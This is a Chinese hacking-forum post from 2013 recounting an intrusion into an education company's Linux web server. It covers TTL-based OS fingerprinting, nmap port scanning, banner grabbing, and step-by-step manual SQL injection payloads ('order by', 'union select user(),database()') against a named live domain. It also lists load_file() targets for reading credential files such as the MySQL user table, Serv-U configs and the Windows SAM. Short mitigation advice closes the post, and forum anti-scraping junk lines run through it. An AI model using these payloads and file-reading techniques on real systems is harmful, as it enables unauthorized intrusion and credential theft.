中国网络渗透测试联盟
标题:
记一次Linux系统PHP注入入侵检测
[打印本页]
作者:
admin
时间:
2013-2-16 22:23
标题:
记一次Linux系统PHP注入入侵检测
题记:
' o9 @, l- i! m! N' Q
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
4 a6 U1 o H2 k2 M. f1 E+ ?4 @' S" y
第一步:获取需要的信息
+ T7 h2 P7 z* y: P' ~7 t
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
0 p1 N( c0 ~4 r% m
注:以下为保护特用XXX代替敏感信息
0 A9 \& f" B2 j& S B. E
顺手先PING了一下他们的域名:
0 P6 V* U' N) }0 C8 J
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
& X# a% w8 u/ @; s. C9 f% b- }" f
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
' O* Q( C1 V# H7 b0 q) v& L
顺便了解一下TTL,学好基础知识才能一路顺风:
* Z+ Q0 b$ ]0 }3 R
TTL:(Time To Live ) 生存时间
8 {2 R6 A1 Z6 Q% O
指定数据包被路由器丢弃之前允许通过的网段数量。
' L0 i5 ^8 T$ _8 j, }
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
H% u# e/ w* b; I9 B0 L5 I
使用PING时涉及到的 ICMP 报文类型
( {' Q+ u- ]; Z$ n w
一个为ICMP请求回显(ICMP Echo Request)
# r7 n9 l" k/ e- `- S1 B0 L% E
一个为ICMP回显应答(ICMP Echo Reply)
. \. C, A: V) Q
TTL 字段值可以帮助我们识别操作系统类型。
5 i7 w, i* q2 \1 |# D9 G0 O; A
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
! H' O# V1 Z- H
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
# E# e" q, J3 |3 y; ~
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
( S0 c5 T8 R7 R/ ~. `0 B2 s
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
- c* }8 R* q) k: @# y8 P4 }5 J
当然,返回的TTL值是相同的
$ \: l7 g, f* n" @0 L* @
但有些情况下有所特殊
; c; ]6 T4 ^+ {; U/ i$ W& c# a2 a
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
. o. X* N; n$ f4 _, D/ `7 x
FreeBSD 4.1, 4.0, 3.4;
, d7 c3 F8 f5 \4 Y; `8 g+ R+ b
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
6 q: z2 ^9 f& a* x
OpenBSD 2.6, 2.7,
) v" ?$ f3 {" Y3 c$ E, v% j! p
NetBSD
+ D, s# I0 Z+ v" B. {0 s9 `
HP UX 10.20
( D7 N. |% ^9 B/ h! y7 R1 `
ICMP 回显应答的 TTL 字段值为 255
\+ t5 F3 |0 @
Windows 95/98/98SE
8 M- v7 P2 L0 M/ j; J5 k0 I" s; \+ i
Windows ME
- y1 j# b+ ^" y
ICMP 回显应答的 TTL 字段值为 32
/ X- q9 p+ p8 b) e6 c7 y5 w
Windows NT4 WRKS
1 b) z, f* S m! x
Windows NT4 Server
8 i% D U0 ]2 Q1 N, d6 |
Windows 2000
/ Y* d% z* b5 B( e9 m: b
Windows XP
; Q6 e) Z0 O/ p) x2 b5 S
ICMP 回显应答的 TTL 字段值为 128
+ f& J; `: p9 v
这样,我们就可以通过这种方法来辨别操作系统
4 N# ~ M3 A& L% G
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
6 c6 g" m9 M! x% [3 x( a% F
用NMAP扫描一下:
2 ^/ C$ V6 t# l8 q5 d1 ]) @5 o
nmap -sT -O XXX.XXX.XXX.XXX
5 E4 E! |& N0 ^- v2 M" w
如果没有装WinPcap则会弹出提示:
4 |8 J7 ?. l# z; _$ J, D; c) p
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
- [/ ^0 I3 Z2 `% d( ?% X: S- ]
ade to version 3.1 or higher from
http://www.winpcap.org.
Resorting to connect(
1 v3 }& _, n" }* D" _/ m
) mode — Nmap may not function completely
# w$ w; ~9 x2 t) G2 o: R1 @1 }
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
* X! C# B$ [! U# P! D/ U) J* x
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
2 m# O+ C. Q; E c
pcap is available from
http://www.winpcap.org.
iphlpapi.dll comes with Win98 an
$ _/ E+ Q. Y# G; k) I
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
* t0 w* `9 q' J
ersions, you may be able to take iphlpapi.dll from another system and place it i
( a- L4 I2 X8 Y. I0 G8 m
n your system32 dir (e.g. c:\windows\system32).
9 n- {6 U$ `: H
QUITTING!
# m* N7 Q: |6 t/ m0 l, |+ b
到这里下载:
http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
/ F [& f) \% D1 d1 R
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
4 Y- i" s7 u7 B" }. D& Y
Interesting ports on XXX.XXX.XXX.XXX:
7 T8 W4 ^- X" W2 |( v/ z
Not shown: 986 closed ports
* f$ [' ? P6 V/ A7 r0 ?" X5 q
PORT STATE SERVICE
2 T( C( e5 p% Q# G
21/tcp open ftp
0 u% a9 p5 ]9 y- r
22/tcp open ssh
& D4 O1 S1 B. |3 T. L. v+ w; ]* j
23/tcp open telnet
% K) `# _, `. W7 E3 _" w
80/tcp open http
3 i) P+ q: s' k' s: f2 g4 k+ P
111/tcp open rpcbind
' s0 j$ k+ F. M5 K
135/tcp filtered msrpc
. t; o- C" k( I x6 h1 U7 |
139/tcp filtered netbios-ssn
" \3 t# F1 U% |& E) I! c3 d9 e0 l0 Z
445/tcp filtered microsoft-ds
* q( Z) ~) q, Q7 c$ ~5 X
513/tcp open login
6 k1 W/ z" ^& ~$ _
514/tcp open shell
( H8 B. T, m+ c$ M* k
593/tcp filtered http-rpc-epmap
* O7 z' K- ]2 U; c% h( [
1720/tcp filtered H.323/Q.931
3 `% ^" o, Y2 E8 d
3306/tcp open mysql
4 K! L! L' G4 T" e/ B
4444/tcp filtered krb524
* x0 A" f) A" Y0 Y4 N2 l! M
Device type: WAP
/ W' L, Z( z2 a4 \3 u
Running: Linux 2.4.X
' |0 k( K I. A7 {
OS details: DD-WRT (Linux 2.4.35s)
0 R0 d4 U1 o2 W0 X
Network Distance: 13 hops
' G& V U: x3 A+ |
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
6 T! T, h v, Z+ |( O$ |& ?
login as:
5 w4 U( k- h% M( o' {! d
Telnet23端口也是开着的,用telnet 命令链接一下:
* @4 p7 _6 D+ l" [6 t8 A8 r0 x
telnet XXX.XXX.XXX.XXX
; Z9 R {7 f# `
提示:
5 g- B9 A; c% O) g& u0 }4 G. T/ M# b
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
% g0 B# X) }. n
Kernel 2.6.18-92.el5PAE on an i686
( F* J5 @& U8 c+ `; H* r
login:
1 r) b+ T$ j0 h# O1 k- I/ v3 O; ~
获取HTTP头信息:
! M5 [7 v! I2 o
在本地执行如下PHP代码
. V* S! O0 i9 l% l/ l
<?php
8 C1 x8 J7 \+ w" {: m3 c$ |) C
$url = ‘XXX.XXX.XXX.XXX’;
v Y, O$ ~. o, D( T$ \
print_r(get_headers($url));
* F& t0 l& O0 T7 ]- N' G
print_r(get_headers($url, 1));
1 m; A$ D5 l8 q) n! @+ ^* |
?>
" _6 H* k; }0 t
将以上代码保存为PHP文件,执行:
2 B' X' y' [' z7 e& _
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
3 u* y4 B/ K; y$ V, N
现在可以得出结论:
% N* k- a+ Y5 G4 z* F: ?
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
- C5 P% N) s# H9 P; y4 U
内核版本:Kernel 2.6.18-92.el5PAE on an i686
+ Q% }9 K' c) a. \6 @; |* B) J
WEB服务器版本:nginx/0.7.61
4 A4 m y6 Y/ l4 G. i% f4 q
第二步,开始测试寻找漏洞
* e L# d3 n* ]" T) R- u" m
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
, F0 a: p$ Y r2 ?
1、敏感地址:站内存在有类似:
http://www.fovweb.com/XXX.php?id=123
这种地址,属动态传参的
7 N, k- w9 m2 |4 }" b" {8 b
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
; \! i( I* P1 K3 c
http://www.fovweb.com/XXX.php?id=123
and 1=1 返回正常
. R/ x3 n) m/ L
http://www.fovweb.com/XXX.php?id=123
and 1=2 返回错误
v) p. U* u) D0 L. F2 D8 P
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
1 S& h& ?% s" ?5 l/ n
3、手工注入:
& h0 Q3 z* I( F% `* q/ W6 I
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
( B8 \/ m, @5 Q _
3.1 猜测当前表字段数
! M0 `: A" K$ {7 X
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 10
3 h" s% d5 {# R! m& c
此处猜测有个简单的算法,都是有技巧的吗,呵呵
5 M5 ?' i$ T' L
算法简单如下:
5 S7 J5 {4 c& n+ H
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
/ Y1 \* _# \' X' T- ^
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
$ k% w8 `& u2 t% }, _( ^; @ `
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
M+ t' f. [% d3 C6 C% g. z2 P1 s
以此来判断,是否过界,配合取中算法猜出字段数。
; B! Y7 ~: w/ X2 ?
举例:
! u8 a' k1 ]% d, a2 Y
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 3 返回正常
% o' u7 ~/ B: [. t' A
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 4 返回错误
6 D; J; z+ P0 M% H6 J9 y+ E
此时3则为我们要找的字段数。
" j; r7 b$ q1 ^
3.2 配合union联合查询字段在页面所位置
0 }' C; [8 W2 Q& y( F* T
我们已经知道了字段数为3,此时则可以做如下操作:
8 O! O2 U/ X1 @; e6 M
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,2,3
' f( f6 A' Y7 u4 @ B ~
3 W4 N9 E/ d' ^& P" }2 n" B. z
这样就可以测试到哪些字段在页面上有所显示了,如图:
0 q, h) F' B& r; F* U6 o
" a5 V8 V- W% A+ s0 v; @6 s/ S+ ^
3.3 查敏感信息
+ X& f0 U. i+ _% y) m( T& z& {
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
, {! z) l% J6 A+ ?$ Z
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,user(),database()
4 y* M, [1 }! ]; `% \
3.3.1 先查数据库用户、数据库名,以备后用,如图:
& r# \& {2 U3 s& W2 V3 D. E. L* V D
6 R; h# R$ B9 \+ }/ j3 p' j" P
得到数据库用户为root、数据库名为DBxx;
9 f5 Y, v/ W1 {6 o, q8 k B
3.3.2 查配置文件
; _9 h9 B/ L! W0 C7 w
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
4 Q, T( h: I5 U: d" A; |
查看文件有一定的条件限制:
( G5 Y8 R V$ y
欲读取文件必须在服务器上
6 k! {, N5 D" C. Z: L3 }( Q6 N
必须指定文件完整的路径
- ^$ x; a! @; |2 T) W
必须有权限读取并且文件必须完全可读
. i8 G! L% c8 Q3 W. \6 W7 a" V9 l
欲读取文件必须小于 max_allowed_packet
2 y9 p K7 w C# @* |
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
% W) a, f8 l* w- Q/ a% W4 S
常用的一些:
- w4 f! A' l$ a* O: V- F! I8 B5 J
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
+ A8 A5 n0 H. B0 j7 p8 q9 Y: ?0 X/ b
/usr/local/apache2/conf/httpd.conf
' [) Z6 m" Z, P9 C8 J _
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
' V: X8 o0 P! p" W6 N! R8 D
/usr/local/app/php5/lib/php.ini //PHP相关设置
4 z+ K6 N3 N: T' ?% M/ C/ y
/etc/sysconfig/iptables //从中得到防火墙规则策略
+ k4 L# t) t8 j; F, S
/etc/httpd/conf/httpd.conf // apache配置文件
0 P/ F" C6 q1 G2 w `' S
/etc/rsyncd.conf //同步程序配置文件
% ~* D5 E R. r, O# l2 b+ r
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
- H1 Y. u. U& R* w4 ?
/etc/my.cnf //mysql的配置文件
3 @+ w, J1 l" b
/etc/redhat-release //系统版本
! P( O0 j- A- c/ l2 j
/etc/issue
) j; I) m, r6 K. `* `- B
/etc/issue.net
9 s" B, u& ~ h6 w' B8 ^1 R1 M
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
! i5 X2 G+ I) H h/ m5 j
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
& _# O3 y' `0 V6 ~' t8 d
c:\Program Files\Serv-U\ServUDaemon.ini
6 z( v% z. M- y( m2 _2 [- b
c:\windows\my.ini //MYSQL配置文件
- w: [+ Y# ]: h3 O
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
! l# X1 P* H2 V) A: w1 }/ u7 D& p
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
, T: c% r6 C% r0 a: i
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
7 X' K! I; J' m7 t2 G: x6 ], V
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
. y7 L; B* Y/ f; S+ G' v! f+ V
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
* O! S( n) n$ y8 u
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
* w1 v. u, e* ]$ g! \
//存储了pcAnywhere的登陆密码
( p# W# M! c( }8 q: T2 j
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
$ R8 j* N, Y8 X
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
' M) P0 u; Z% A, t8 _9 E
最后:防范措施
S$ U! e& j* o+ Y) f
1、修复PHP注入漏洞;
, d0 `" F( d3 F
2、Mysql使用普通权限的用户;
. A8 m" L Q3 O( F. l% I
3、升级linux内核至最新版本;
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2